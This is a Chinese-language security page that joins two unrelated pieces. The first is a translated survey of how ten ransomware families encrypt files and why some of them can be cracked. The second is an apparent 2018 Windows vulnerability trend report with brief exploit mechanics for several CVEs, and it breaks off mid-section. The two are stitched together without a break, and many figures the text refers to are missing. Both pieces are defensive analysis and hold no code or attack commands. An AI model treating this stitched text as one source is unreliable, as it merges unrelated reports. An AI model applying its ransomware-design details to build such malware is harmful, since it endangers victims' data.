# 【技术分享】勒索软件加密方法总结
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/a-brief-summary-of-encryption-method-used-in-widespread-ransomware>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：300RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**
**
**一、介绍**
**1.1 勒索软件**
勒索软件是计算机恶意软件的一种类型，它可以绑架用户的文件，使用户无法访问到文件，并向用户要求赎金，用于恢复文件。勒索软件的目标通常是用户的个人数据，包括文档、数据库、源代码、图片、视频等等，赎金货币通常是比特币。
勒索软件最早出现于1989年，但是在2012年开始大规模爆发，直到现在，已经有数百万人成为了勒索软件的受害者，这也使得勒索软件更加猖獗。
**1.2 本文内容**
因为勒索软件已经严重影响了我们的生活，我们决定为非技术人员和技术人员写点东西。我们对我们在勒索软件上的工作进行了总结，并选取了10款有代表性的勒索软件在这里进行讨论。
通过本文，人们可以理解勒索软件工作的基本思路，以及用于加密受害人文件的准确算法。此外，我们真诚的希望这篇文章能帮助那些想进一步分析勒索软件的人。
再有，需要注意的是，我们在这里重点关注的是加密方式和解密方式。其它的内容，如打包、反沙箱、提权、DLL注入等，在这里我们没有涉及。
最后，由于作者水平有限，本文内容如有不妥之处，期待您的意见。
**1.3 本文结构**
本文共有以下几个部分。第一部分，我们对勒索软件和本文的主要内容进行了介绍。在第二部分，我们主要讨论了每个勒索软件的加密过程。第三部分中，我们主要讨论勒索软件存在的漏洞，利用这些漏洞可以有效的破解勒索软件。然而，还存在大量的勒索软件没有被破解。此外，在最后一部分，我们对勒索软件的发展趋势进行了总结，并提出了一些如何保护自己的建议。
**
**
**二、样本分析**
在这一部分中，我们选取了10款有代表性的勒索软件，下面我们将逐个研究它们用到的加密方法。
需要注意的是，为了使每个人都能理解它们的加密方法，我们使用了更容易理解，但有可能不够科学的描述方法。这意味着我们在本文中描述的内容和勒索软件实际发生的内容可能有一点不同，但是，最核心的思想必须是一样的。此外，我们忽略了所有的HASH算法，因为这会给读者理解勒索软件增加额外的负担。
**2.1 Apocalypse–(内嵌密钥+自定义加密算法)**
Apocalypse勒索软件在2016年6月被发现，不过，在它被广泛传播前就已经被完全遏制了。尽管如此，我们还是要讨论一下，因为Apocalypse勒索软件可以作为一类勒索软件的代表，它并没有使用标准的加密算法，而是使用了一个专门设计的加密算法。
当受害人感染Apocalypse后，个人文件会被加密，看起来是这样的：
如图所示，所有的个人文件会被加密，并添加“.encrypted”后缀名，并为每个加密文件生成一个相对应的付款说明。
与其它后面要讨论的勒索软件不同，Apocalypse勒索软件使用了一个专门设计的加密算法，并且将密钥存储在勒索软件代码中。
如图所示，算法的密钥存储在DL寄存器中，CL寄存器作为一个计数器，当加密过程结束时，密文会覆盖明文，并加添“.encrypted”后缀名。
由于这个自定义加密算法属于对称密钥加密算法，因此，找到它的解密算法并不难，并且我们可以用加密算法的密钥，解密受感染的文件。
更多对称密钥加密算法可以从WIKI中找到：
<https://en.wikipedia.org/wiki/Symmetric-key_algorithm>
**2.2 Cerber–(生成RSA密钥+RSA+RC4)**
Cerber勒索软件在2016年3月被释放出来，直到2016年9月份，探测到了第二个版本的Cerber勒索软件。在这一部分中，我们主要讨论原始版本的Cerber勒索软件。将文件加密后会添加“.cerber”后缀名。
下图是受害人被加密的个人数据：
Cerber采用了是RSA和RC4加密算法。关于RSA和RC4加密算法的详细信息可以从以WIKI中找到:
RSA：<https://en.wikipedia.org/wiki/RSA_(cryptosystem)>
RC4：<https://en.wikipedia.org/wiki/RC4>
和Apocalypse勒索软件相比，
Cerber更加复杂和缜密。为了能更容易理解，我们主要讨论Cerber加密过程的主要思想，过程有所简化，但更容易让大家理解。
Cerber勒索软件加密过程共有三级。第一步：利用程序中内嵌的RSA公钥，通过RSA算法加密一个随机生成的RSA密钥。第二步：利用随机生成的RSA密钥，通过RSA算法加密一个随机生成的RC4密钥。第三步：利用随机生成的RC4密钥，通过RC4算法加密受害人的个人文件。
对于每一个Cerber样本，都有一个加密的配置文件，该配置文件存储在程序的资源段中。将它解密后，会发现一个内嵌的、并用base64编码过的RSA公钥。
对于每一个受害者的文件，都会产生一个唯一的RC4密钥。然后用这个密钥通过RC4算法加密文件。下面是RC4算法：
此外，需要注意的是，Cerber勒索软件只加密一部分文件，并不会加密全部文件，同时，一些在解密过程中需要的信息也会存储在加密的文件中。
如果你能理解上面的加密过程，那么理解Cerber的解密过程其实并不难，难的是你无法得到完整的RSA私钥，除非Cerber的作者主动把它释放出来。因此，为了解密文件，首先需要从Cerber的C&C服务器中取得那个随机产生的RSA私钥，然后用这个私钥解密随机产生的RC4密钥，最后用这个密钥解密文件。
**2.3 CryptoWall–(申请RSA公钥+RSA+AES)**
CryptoWall勒索软件发现于2014年，到现在已经出现了4个版本，在这里我们对CryptoWall的第三个版本进行讨论。
当感染了CryptoWall勒索软件后，受害人的文件被加密，如下图：
如上图，将文件加密后会用3个随机的字符作为文件的后缀名，并产生3个勒索信件“HELP_DECRYPT.HTML”、“HELP_DECRYPT.PNG”和“HELP_DECRYPT.TXT”。
CryptoWall勒索软件采用了RSA和AES算法，更多AES的信息可以[从这里查到](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)。在程序实现中，使用了微软的CryptoAPI库。
CryptoWall在加密时需要从C&C服务器申请一个RSA公钥，因此，如果CryptoWall连接C&C服务器失败，它就不会加密任何文件。如果成功连接，取回RSA公钥，并产生一个随机的AES密钥，并用RSA算法加密。
然后，用AES密钥和AES算法加密受害人的文件。
最后，用密文覆盖明文文件。
CryptoWall的解密过程和加密过程相似，首先需要从C&C服务器取回RSA私钥，然后利用RSA私钥解密随机生成的AES密钥。最后，用AES密钥解密受害人的文件。
**2.4 CTB_Locker–(生成ECDH密钥+ECDH+AES)**
CTB_Locker是一个在2014年传播的老牌勒索软件，但是它采用了一个复杂的算法替代了RSA算法。受害人的文件被加密后，会随机产生7个字符作为文件的后缀名。
在上图中，前两个文件是该勒索软件产生的勒索信件。
CTB_Locker也非常复杂和缜密。它采用了AES算法和ECDH算法。在ECDH中用的椭圆曲线算法是curve25519算法，更多ECDH算法和curve25519算法的信息可以从WIKI中找到。
ECDH:[https://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman](https://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman)
Curve25519:[https://en.wikipedia.org/wiki/Curve25519](https://en.wikipedia.org/wiki/Curve25519)
CTB_Locker勒索软件加密过程共有3层。首先，产生一个随机的ECDH密钥，利用程序中内嵌的ECDH公钥，通过ECDH算法将刚生成的密钥进行编码(在这里我们使用了“编码”这个词，因为ECDH是一个密钥交换协议，不是加密算法)。
如上图，“Pblkey”产生一个随机的ECDH密钥。第二步是产生一个AES密钥，用刚才随机生成的ECDH密钥对AES密钥进行编码。
第三步用AES密钥和AES算法加密受害人的文件。
最后，利用生成的密文和解密过程中需要的信息覆盖原始的明文文件。
在对文件解密时，由于我们无法得到和内嵌ECDH公钥相对应的ECDH私钥，因此CTB_Locker的解密过程需要2步，首先从远程C&C服务器取回ECDH私钥，并用私钥解码AES密钥，然后用AES密钥对文件进行解密。
**2.5 Jigsaw–(内嵌密钥+AES)**
Jigsaw勒索软件在2016年四月被首次释放出来，到2016年9月时，发现了Jigsaw的第二个版本。Jigsaw是一种运行在“.net”框架上的勒索软件，在这里我们重点讨论原始版本的Jigsaw勒索软件。受害人的文件被下密后，会被添加“.fun”后缀名：
此外，Jigsaw勒索软件在发布后不久就被安全界打败，然后又产生了一个更新版本。
Jigsaw勒索软件采用了AES算法对文件进行加密，密钥可以在Jigsaw的样本中直接找到。
而且，加密过程也很清晰（难怪它被打败了）：
加密完成后，添加“.fun”扩展，并结束加密过程。
解密文件时，我们只需要使用相同的密钥和IV值就可以，解密过程也可以在Jigsaw样本中找到。
**2.6 Locky–(申请RSA公钥+RSA+AES+Intel的AES指令集)**
Locky是另一个勒索软件，需要向C&C服务器申请一个公钥。Locky的第一个版本在2016年二月被发现，如果Locky无法连接到它的C&C服务器，任何文件都不会被加密。
Locky将文件加密后，会添加“.locky”扩展名。
如上图，_HELP_instructions.bmp和_HELP_instructions.html是Locky产生的勒索信件。
Locky在加密过程中采用了RSA算法和AES算法，但是在不同版本的Locky中实现方法有所不同。
在我们要讨论的Locky样本中，RSA算法通过CryptoAPI实现，和CryptoWall的一样。
RSA算法用于加密随机产生的AES密钥，并且RSA公钥是从远程C&C服务器中取得的。随机产生的AES密钥用于加密受害人的文件。此外，AES算法在实现过程中使用了Intel的AES指令集，包含“aesenc”指令等等。
加密过程结束后，原始明文文件会被密文和一些需要的信息所覆盖。
解密过程和CryptoWall的很相似，首先需要从C&C服务器取回私钥，然后解密AES密钥，然后用AES密钥和其它存储在加密文件中的额外信息解密受害人的文件。
**2.7 Petya–(ECDH+SALSA20)**
Petya是一个特殊的软件，发现于2016年3月，和其它勒索软件相比，Petya是完全不同的。一方面，Petya会覆盖主引导记录(MBR)中的引导代码，并会停止windows正常的初始化进程。另一方面，Petya会加密NTFS的MFT文件，并不会加密受害人的个人文件。
[MBR](https://en.wikipedia.org/wiki/Master_boot_record)和[NTFS
MFT](https://en.wikipedia.org/wiki/NTFS)的详细信息可以从WIKI中找到。
被Petya感染以后，计算机会停止引导过程，并显示以下信息：
在上面的图中，所有的勒索信件会以白色字符写在血红色背景上。
Petya的加密过程并不复杂，采用了ECDH算法和SALSA20算法。ECDH中用的椭圆曲线算法是secp192k1算法。更多secp192k1和[SALSA20](https://en.wikipedia.org/wiki/Salsa20)算法的信息可以从WIKI中找到。
首先用ECDH算法对一个随机产生的SALSA20密钥进行编码：
然后，SALSA20算法在一个16-bit-环境中运行。
解密时需要先从远程C&C服务器中取回SALSA20算法的密钥，然后对MBR和MFT进行解密。
**2.8 TeslaCrypt–(生成ECDH密钥+ECDH+AES)**
TeslaCrypt勒索软件在2015年2月被探测到，到现在，已经发展了4个主要的版本，不同版本的TeslaCrypt勒索软件使用了不同的加密文件扩展名，如‘.ecc’、‘.ezz’、‘.zzz’、‘.vvv’和‘.abc’。在这里我们只讨论第4个版本的TeslaCrypt勒索软件，这个版本没有使用扩展名，如下图所示：
不同版本的TeslaCrypt使用了不同的算法，在我们即将要讨论的这个样本中，它使用了ECDH算法和AES算法，ECDH中用的椭圆曲线算法是secp192k1算法。
完整的加密过程和CTB_Locker的很相似。TeslaCrypt的加密过程有3层，首先，会产生一个随机的ECDH密钥，然后利用程序中内嵌的一个ECDH密钥，通过ECDH算法对随机生成的ECDH密钥进行编码，第二步，生成一个AES密钥，利用刚才随机生成的ECDH密钥，通过ECDH算法对AES密钥进行编码。
第三步，利用AES密钥和AES算法对受害人文件进行加密。
最后，用密文和一些需要的信息，如编码过的ECDH公钥，覆盖原始明文文件。
解密过程和CTB_Locker的有点相似，我们无法得到ECDH的私钥，因此，解密过程需要2步。首先，从C&C服务器取回ECDH私钥，并用ECDH算法解码AES密钥，然后用AES算法解密受害人的文件。
**2.9 TorrentLocker–(RSA+AES)**
TorrentLocker是另一个臭名昭著的的勒索软件，发现于2014年，大多数TorrentLocker勒索软件会给加密文件添加“.encrypted”扩展名，并且大多数版本的TorrentLocker勒索软件会伪装成CryptoLocker勒索软件。在这部分，我们重点讨论该勒索软件的一个早期版本，它将文件加密后不会改变文件的大小。
上图中，“PLEASE_READ.txt”文件是勒索软件的勒索信件。
TorrentLocker勒索软件采用了RSA算法和AES算法，RSA算法用于加密一个随机生成的AES密钥，然后，用这个AES密钥和AES算法加密受害人的文件。实际上，在本文中，我们没有讨论到的大部分勒索软件都采用了RSA-AES的模式。
不同的是，该勒索软件使用[yarrow](https://en.wikipedia.org/wiki/Yarrow_algorithm)算法作为AES随机密钥的生成算法。
Yarrow算法的随机因素包含了以下函数的返回值：
请注意：上图并不是相关函数的完整列表。下一步，受害人的个人文件将会按16字节分组，进行AES加密。
当加密完成后，原始文件会被加密的数据覆盖，没有其它额外的数据。
在对文件进行解密时，AES密钥是用RSA算法加密的，我们无法取回RSA私钥。为了对文件进行解密，我们需要从C&C服务器取回AES密钥，然后用AES密钥对文件进行解密。
**2.10 Unlock92–(生成RSA密钥+RSA+RSA)**
Unlock92勒索软件是我们讨论的最后一款，在2016年6月首次被发现，目前已经发现了它的第二个版本。Unlock92运行在.net框架下。和第一个版本相比，第二个版本更加复杂一些，因此，在这里我们主要讨论第二个版本。
上图中的FBDX.jpg是勒索软件的勒索信件。
Unlock92勒索软件在加密过程中使用了两次RSA算法，每个Unlock92样本中，都存在一个用base64编码的内嵌RSA公钥，这个RSA公钥的作用是加密另一个随机生成的RSA密钥：
并使用这个随机生成的RSA密钥对受害人的文件进行加密。
为了使加密过程的效率最大化，Unlock92勒索软件只加密文件的前0x300个字节，并不会加密整个文件。
在对文件进行解密时，首先需要从远程C&C服务器上取回随机生成的RSA私钥，然后用这个私钥对文件进行解密。
**三、勒索软件的弱点**
**3.1 加密方法总结**
在第二部分，我们描述了10款勒索软件的加密方法，每一个都代表了一种加密过程，在这里我们没有列出来的其它勒索软件有可能就属于其中的一类。
现在，我们对勒索软件中的加密方法总结如下：
1) 自定义的加密方法，如Apocalypse勒索软件。
2) 使用1层加密算法，如Jigsaw勒索软件。
3) 使用2层加密算法，比如RSA-AES模型，采用2层算法例子有CryptoWall，Locky，Petya，Unlock92。
4) 使用3层加密算法，比如ECDH+ECDH+AES模型。例子有Cerber，CTB_Locker，TeslaCrypt。
5) 利用其它正常软件的加密模块。例如，CryptoHost勒索软件加密过程利用了WINRAR的加密模块来对受害人的文件进行加密，Vault勒索软件使用
了GNUPG的加密模块。
正如我们看到的，勒索软件大量使用了标准的加密算法。除了Apocalypse勒索软件使用了自定义的算法，在所有加密算法中，AES算法被使用的最多，其次是RSA算法，部分勒索软件也使用了ECDH算法。由于这些标准加密算法被认为是无法破解的，而部分勒索软件可以被破解的最大原因是因为标准加密算法使用不当。
**3.2 解密方法总结**
如果所有勒索软件都是精心设计的，换句话说，如果所有的勒索软件都不可能破解，那么解密受害人文件的方法可以总结为以下几点(正常的解密途径)：
1) 对于自定义的加密算法，我们需要知道解密密钥和解密算法(标准加密算法的解密算法是已知的)。
2) 对于1层加密算法，我们需要获得解密密钥，并用这个密钥解密受害人的文件。
3)
对于2层加密算法(第二层密钥才是真正的文件加密密钥)，我们需要知道第一层密钥、或第二层密钥。如果我们有第一层密钥，我们可以用第一层密钥还原出第二层密钥，再用第二层密钥解密受害人的文件。
4)
对于3层加密算法(第三层密钥才是真正的文件加密密钥)，我们需要知道其中任何一层的密钥，如果我们知道第一层密钥，我们就可以还原出第二层密钥，然后用第二层密钥还原出第三层密钥，最后用第三层密钥解密文件。
5) 加密算法使用了其它软件的加密模块时，我们需要知道解密密钥，然后用解密密钥和相应的解密模块解密文件。
从勒索软件作者的角度看，上面的这些解密方法，是解密受害人文件的唯一正确途径。然而，在某些种类的勒索软件中存在或多或少的漏洞，这使得破解它们成为了可能(不用经过上面的正常方法)。
**3.3 勒索软件漏洞总结**
实际上，少数勒索软件是可以被破解的，原因是它们没有正确使用标准加密算法，根据我们的经验，为什么少数勒索软件可以被破解，总结如下：
1) 由于自定义的解密算法。通常这种自定义的算法和标准加密算法相比，强度都不大，而且存在漏洞。
2) 错误的密钥存储方法。个别勒索软件直接将密钥(加密和解密是一个密钥)内嵌在程序代码中。
3) 密码强度太小。部分勒索软件使用了RSA算法，但是密钥强度不大，导致可以因式分解，从而被破解。
4) 不科学的伪随机数发生器。如果伪随机数发生器不随机，那么产生的密钥就有可能被预测到，如早期的Unlock92勒索软件就存在这样的问题。
5) C&C服务器存在漏洞。部分勒索软件的C&C服务器存在漏洞，这使得从C&C服务器上取回密钥成为了可能。如早期版本的Cerber勒索软件。
6) 其它原因，如CoinVault勒索软件的作者被逮捕，TeslaCrypt勒索软件的作者主动释放出了ECDH私钥，等等。
还有其它我们没有总结到的原因。
**3.4 样本总结**
下图是我们刚才总结到的所有样本：
此外，早期版本的Unlock92已经被破解，因为它的伪随机数发生器存在漏洞，因此，存在漏洞的2层加密算法是有可能被猜解的。
**四、趋势和建议**
根据我们的经验，勒索软件的数量和类型正在增长，此外，勒索软件的源代码和生成工具已经在暗网市场上出售，这使得产生一个新的勒索软件变得更容易，如果没有有效的应对措施，那将很难评估我们要面对的结局到底有多糟。
好消息是反勒索软件阵营已经变得强大起来了。很多反病毒公司已经发布了他们的反勒索产品，用于帮助用户远离勒索软件。我们相信会有更多的受害者因此受益。
到目前为止，在勒索软件中仍然或多或少的存在标准加密算法使用上的漏洞，但是，随着勒索软件的不断发展，这种问题会越来越少。一旦勒索软件作者能正确的使用标准加密算法时，恢复受害人的数据将会真的很难。因此，我们建议要把防御放在优先位置。一方面，计算机用户要经常备份个人文件，另一方面，反病毒公司需要设计出专门的算法来识别出勒索软件，并根据勒索软件的特征，能主动停止勒索软件的加密进程。此外，不要向勒索软件屈服，即使你已经感染了勒索软件，咨询一些专家可能是一个很好的处理这种情况的方法。 | 社区文章 |
# 一、 前言
漏洞是影响网络安全的重要因素，而漏洞攻击作为恶意攻击的最常用手段，更是有着目标行业化、手段多样化的趋势，不论是个人还是企业，都面临着严峻的漏洞威胁。
2018年在轰动式的“幽灵”、“熔断”两大CPU漏洞中揭开序幕。“震网3漏洞利用挖矿”、“412挂马风暴”等安全事件发生表明，漏洞利用攻击，不再是APT组织的“专属”，漏洞利用正往“低成本化”趋势发展。过去一年，Windows、Office、IE、Flash等高危漏洞频繁被曝光，而各种野外漏洞利用更是攻击层出不穷，更给个人和企业的网络安全带来了严峻的威胁。本报告主要重点分析2018年Windows平台的漏洞攻击态势，并给个人和企业合理化的漏洞防护建议。
# 二、 2018年Windows平台漏洞盘点
2018年对于安全行业是颇具考验的一年，据安全数据库网站cvedetails.com的漏洞提交数据统计，自1999年起，Windows操作系统的漏洞提交数量就呈逐年上涨的趋势，而在近几年达到了一个爆发期，今年的安全漏洞提交数相较过往三年同比上升最高超过40%，安全漏洞的数量和严重性创下历史新高。
## 2.1 2018年Windows安全公告数量
在软硬件漏洞遍地都是的今天，补丁管理作为网络安全最基础的一环，就显得尤为重要。在企业选择产品时亦需要注意厂商对其产品安全性的投入，只有软件/平台开发商对于产品安全性投入高，产品才有保障。微软作为全球知名的软件开发商，对其名下产品的安全性投入是比较到位的，每月都会进行维护发布补丁修复安全漏洞。2018全年微软共为其产品(Windows,IE/Edge,office等)发布了874个补丁，修复了728个漏洞，平均每月修复多达60个漏洞。
## 2.2 Windows漏洞影响产品&系统分布
2018年，在所有漏洞影响的Windows产品中，Windows系统组件漏洞占到了35%的比例，浏览器漏洞占25%，Office漏洞则占比17% 。
根据腾讯御见威胁情报中心的数据监测，虽然Office和Adobe(主要是Flash)被曝光的漏洞相对较少，但漏洞利用的比例最高。可见，黑客挑选漏洞时，更可能是优先考虑漏洞利用的成本，并参考其攻击目标人群与产品用户的重合度，而与产品本身漏洞量的多少并无正相关。
相比较2017年，2018年Office和.net的漏洞曝光量上升比较明显，相对Windows系统组件漏洞，Office漏洞常被大家忽视，但却备受黑客喜爱，众多专业黑客组织对重要目标的攻击，会选择使用Office高危漏洞，腾讯御见威胁情报中心再次提醒大家需及时安装Office漏洞补丁，避免偶然打开一个文档就被植入后门。
在所有Windows各版本中，受到最多漏洞影响的却是Windows 10系统，这说明Windows
10已是主流的操作系统版本，其漏洞曝光量正越来越多，同时提醒广大用户，即便使用最新版本的操作系统，也不可忽视漏洞风险，每个月及时安装安全更新是防范黑客入侵的必要步骤。
从2017年同比数据也可以看出，Windows Server 2016上报告的漏洞数增加了近7%，同时可预测，针对新版服务器操作系统的漏洞也将越来越多。
## 2.3 2018年漏洞攻击的地区&行业分布
2018年漏洞攻击地区分布与当地经济水平及信息化普及程度相关。2018年漏洞攻击集中在北上广三地，其中以国家政府机关、高科技人才和经济富裕人士汇集的首都北京首当其冲。北上广是全国经济、政治和科技要地，更是走在中国国际化的前列，大量可见利益汇集，是不法黑客首选的攻击目标。
根据腾讯御见威胁情报中心数据监测， Windows操作系统存在高危漏洞在教育、政府、卫生医疗行业占比最高。
从受攻击量的对比数据看，政府、教育、医疗卫生行业因为其系统存在大量高危漏洞未及时修复，所受攻击次数也相对较高。而科技行业虽然漏洞存在量相对较少，受攻击量却是最高的，这样从另一方面说明，漏洞利用攻击者通常是有目的针对性地采取攻击，对科技行业的攻击，泄取机密往往成为首选目的。
## 2.4 国内用户整体漏洞修复情况&高危漏洞修复情况
2018国内用户整体漏洞修复中，Windows漏洞和.NET漏洞达到了70%以上的修复率，其次是IE、Flash和Office漏洞修复率徘徊在60%上下。整体漏洞修复率偏低可以反映出国内的个人用户目前的信息安全意识亟待提升，公众对于安全漏洞的危害认知尚不到位。
而在四类高危漏洞（存在野外利用的漏洞）修复中，Windows高危漏洞达到了82%的修复率，其次是IE和.NET高危漏洞修复率约达到70%，Flash和Office高危漏洞则修复率较低，仅有约50%。
Flash高危漏洞修复率偏低是由于许多第三方软件会自带一个Flash插件，而微软官方提供的Flash补丁仅能更新其中一小部分，无法完全覆盖第三方浏览器目录下的所有Flash插件，导致部分用户电脑上的Flash漏洞较难得到彻底修复解决。
Office软件本身对更新做的是相对较弱的提示，如果没有第三方安全软件的强提醒，一般用户主动安装补丁修复Office安全漏洞的较少；另一方面，国内存在大量盗版Office用户，而这些盗版镜像往往经过镜像制作者的修改，难以正常安装补丁。对于重要的政府机构、企事业单位、科研机构来说，软件系统的正版化对降低黑客入侵风险具有十分重要的意义。
## 2.5 Windows漏洞危害类型分布&漏洞危害等级分布
在2018年曝光的Windows平台漏洞中，远程执行代码类漏洞达到了42%的高占比，其次是信息泄露类漏洞和特权提升类漏洞各占20%。远程执行代码类漏洞由于其兼具隐蔽性与自由度，广受黑客攻击者欢迎，今年曝出的两个IE“双杀”0day漏洞（CVE-2018-8174、CVE-2018-8373）就是被广泛利用于恶意攻击的最好例子。
2018年曝光的Windows平台漏洞中，“危急”等级(漏洞危害最高等级)的漏洞占比23%，“危急”等级的漏洞量依然占据着较高的比例。
## 2.6 Windows漏洞利用病毒分布&被利用的漏洞分布
在2018年利用漏洞进行攻击的病毒中，非PE（文件格式）占了66%的高比例，而PE文件占了31%。常见非PE漏洞攻击病毒有Office宏类病毒、脚本类病毒。相比较PE，非PE病毒的攻击手法更灵活，对安全软件来说检测非PE病毒更为困难。
## 2.7 2018年Windows平台高危漏洞盘点
2018年1月，Microsoft
Office公式编辑器再次曝出两个高危漏洞CVE-2018-0798和CVE-2018-0802。CVE-2018-0798是Office公式编辑器在解析Matrix
Record(0x05)的内容时，没有对行与列的成员进行特定的长度校验，这就导致黑客可以通过精心构造内容任意指定后续读入的行与列长度，从而造成栈溢出。CVE-2018-0802技术原理与之类似，微软在1月9日通过发布移除公式编辑器的补丁修复这两个漏洞。
2月，Adobe Flash被曝出一个0day漏洞CVE-2018-4878。该漏洞影响版本在28.0.0.137以下的Adobe
Flash，通过修改Flash脚本对象ByteArray的值至特殊长度来实现任意地址读写，实现漏洞利用，再将Adobe Flash
Player嵌入Office文档和邮件等载体中并诱使用户打开的途径快速传播漏洞，在解析ATF文件时访问内部数据结构使用了无效的指针偏移导致漏洞，成功攻击后可能会导致敏感信息泄露。该漏洞在2月6日被修复；
3月，Ulf Frisk曝光了一个Windows内核提权高危漏洞Totel Meltdown(CVE-2018-1038
)。该漏洞是由微软先前发布用于修复“Meltdown”漏洞的补丁产生的新问题，补丁错误地将PML4权限设定成用户级，可以让任意进程读取并修改页表项目，该漏洞仅影响Windows7
x64 和 Windows Server 2008 R2系统，并在3月29日被修复；
4月，Internet
Explorer被曝出一个0day漏洞“双杀”（CVE-2018-8174）。该漏洞通过VBScriptClass::Release函数中存在的缺陷访问未分配内存，从而触发漏洞达到任意地址读写的目的。该漏洞通过精心构造的页面或往邮件或Office文档中嵌入VBScript脚本即可触发，危害性较强，也因此被命名为“双杀”漏洞，且一遭曝光便第一时间被APT组织利用于黑客活动。该漏洞于5月8日被修复；
5月，Windows操作系统和Adobe Acrobat/Reader
PDF阅读器被ESET公布了两个捆绑在一起的0day漏洞。（CVE-2018-8120、CVE-2018-4990）这是源于ESET在3月捕获的用于攻击测试的一个PDF样本。CVE-2018-4990实际上是一个堆内存越界访问任意地址释放漏洞，原样本精准地使用堆喷射布局内存，然后释放两块大小为0xfff8的相邻堆块，在Windows堆分配算法将堆块合并后，利用该堆块改写一个ArrayBuffer对象的长度为0x66666666从而实现任意地址读写。CVE-2018-8120则是由于内核函数
SetImeInfoEx 未对其目标窗口站 tagWINDOWSTATION的指针成员域 spklList
的指向地址进行有效性校验，而是直接进行读取访问。这两个漏洞已在5月被修复；
6月，Windows 10被曝出一个0day漏洞（CVE-2018-8414）。这是一个Windows Shell 远程执行代码漏洞，由于Windows
Shell在某些情况下会不正确地验证文件路径，通过精心构造的恶意脚本触发该漏洞，可以达到任意读写的目的。该漏洞仅适用于Windows
10的新文件类型“.SettingContent-ms”，该漏洞直到8月14日才正式分配CVE编号并修复。
7月，Internet
Explorer被曝光0day漏洞“双杀”二代（CVE-2018-8242），它的出现是由于4月“双杀”一代（CVE-2018-8174）的修复补丁并未完全解决漏洞，导致VBScript脚本引擎中仍存在类似问题，该漏洞由360Vulcan团队发现并提交，并在7月10日被修复；
8月
(1) Exchange
Server被公开了一个内存损坏漏洞（CVE-2018-8302）的POC，攻击者可使用钓鱼攻击触发漏洞利用攻击企业用户计算机，并再次发起攻击直至接管Exchange
Server服务器。Exchange对语音邮件的接收存储过程中，会转换语音邮件读取TopNWords.Data并通过.NET
BinaryFormatter对它反序列化，该漏洞就存在于反序列化过程中。
(2) Internet
Explorer被Trendmicro曝出0day漏洞“双杀”三代（CVE-2018-8373），它基于与“双杀”一代相似的原理，通过VBScript.dll中存在的缺陷获取任意读取权限。两例漏洞都于8月14日被修复；
9月
(1)
Windows被曝出ALPC提权0day漏洞（CVE-2018-8440），它通过高级本地过程调用(ALPC)函数中SchRpcSetSecurity函数无法正确检查用户权限的缺陷，获得本地权限提升(LPE)来执行恶意代码。
(2) Microsoft Jet Database
Engine被公开了一个远程代码执行0day漏洞（CVE-2018-8423）的POC，该漏洞是一种越界（OOB）写入漏洞，可诱导用户打开包含以JET数据库格式存储的数据的特制文件，通过对象链接和嵌入数据库（OLEDB）的Microsoft组件打开Jet源来触发漏洞，发起攻击。两例漏洞分别于9月11日和10月9日被修复；
10月
(1) Microsoft Edge被公开了一个关于Windows
Shell的RCE高危漏洞（CVE-2018-8495）的POC，攻击者可以使用该漏洞利用POC，通过Microsoft
Edge构造包含特殊URI的网页，诱导用户打开即可实现在远程计算机上运行恶意代码。漏洞是由于Windows
Shell处理URI时，未过滤特殊的URI所导致（如拉起脚本的Windows Script Host的URI为wshfile）。
(2)
Windows被曝出一个Win32k提权0day漏洞（CVE-2018-8453），它的利用过程较为复杂，简言之是利用了在win32k.sys组件的win32kfull!xxxDestroyWindow函数中的UAF漏洞从而获取本地提权。两例漏洞都于10月9日修复；
11月，Windows再被曝出Win32k提权0day漏洞（CVE-2018-8589）。它的出现是由于在win32k!xxxMoveWindow函数中存在不恰当的竞争条件，导致线程之间同时发送的信息可能被不当锁定。该漏洞已在11月13日被修复；
12月
(1) Microsoft DNS
Server被曝光存在一个堆溢出高危漏洞（CVE-2018-8626）。所有被设置为DNS服务器的Windows服务器都会受到此漏洞影响。攻击者向Windows
DNS服务器发送精心构造的漏洞利用恶意请求，以触发堆溢出并远程代码执行。漏洞于12月11日发布补丁修复。
(2)
Windows连续第四个月被曝出0day漏洞。这次是一个更加高危的kernel内核事务管理器驱动程序的提权漏洞（CVE-2018-8611），它是源于kernel模式下对文件操作的不当处理引发内核事务管理器产生竞争条件，此漏洞绕过了现在主流web浏览器的进程缓解策略而从实现沙箱逃逸，这可让黑客在web上构建完整的远程代码执行攻击链。该漏洞最初在10月29日被发现，微软于12月11日分配CVE号并公布修复补丁；
# 三、 2018典型漏洞安全事件
2018年的安全行业，可谓是“热闹非凡”。前有勒索病毒野火烧不尽，春风吹又生；后有随着区块链概念被炒热，挖矿挂马频出；上有APT组织针对企业、政府、科研机构、事业单位的定向攻击；下有针对外贸行业的“商贸信”钓鱼邮件和针对个人用户的钓鱼邮件攻击，小规模爆发。
而专业APT组织的攻击手法，对普通病毒木马黑产起到教科书般的指导和示范作用，致使高危漏洞的利用从高端到大众快速传播普及，高危漏洞对信息安全的影响力之大，由此便可见一斑。
## 3.1 “新一代幽灵”——英特尔CPU漏洞持续升级
继年初发现的CPU漏洞Meltdown和Spectre后，英特尔处理器在2018年5月初又被Google Project
Zero安全研究团队曝出发现8个新的“幽灵式”硬件漏洞，被称为“新一代幽灵”——Spectre-NG。利用该漏洞可绕过云主机系统与虚拟机的隔离，实现虚拟机逃逸，窃取机密信息。并且，利用该漏洞还可以攻击同一服务器的其它虚拟机。
然而，在下半年再次发现了英特尔CPU存在TLBleed、Foreshadow、PortSmash等多个超线程漏洞。11月初发现的PortSmash漏洞（CVE-2018-5407）影响所有支持超线程技术的Intel处理器。利用该漏洞，攻击者所在的进程可以窃取运行在同一个物理内核的另外一个进程的隐私数据，安全研究人员已经实现从OpenSSL进程中窃取私钥。
一系列的CPU漏洞，对芯片漏洞的修复同样一波三折，仓促发布的补丁带来新的风险，同时导致CPU性能下降，补丁不得不发行了多个版本，最终促使英特尔加快新一代处理器的发布进程，并成为把超线程技术彻底砍掉的最后一根稻草。
## 3.2 Office公式编辑器再曝新漏洞，商贸信钓鱼攻击屡试不爽
（CVE-2017-11882、CVE-2018-0802、CVE-2018-0798）
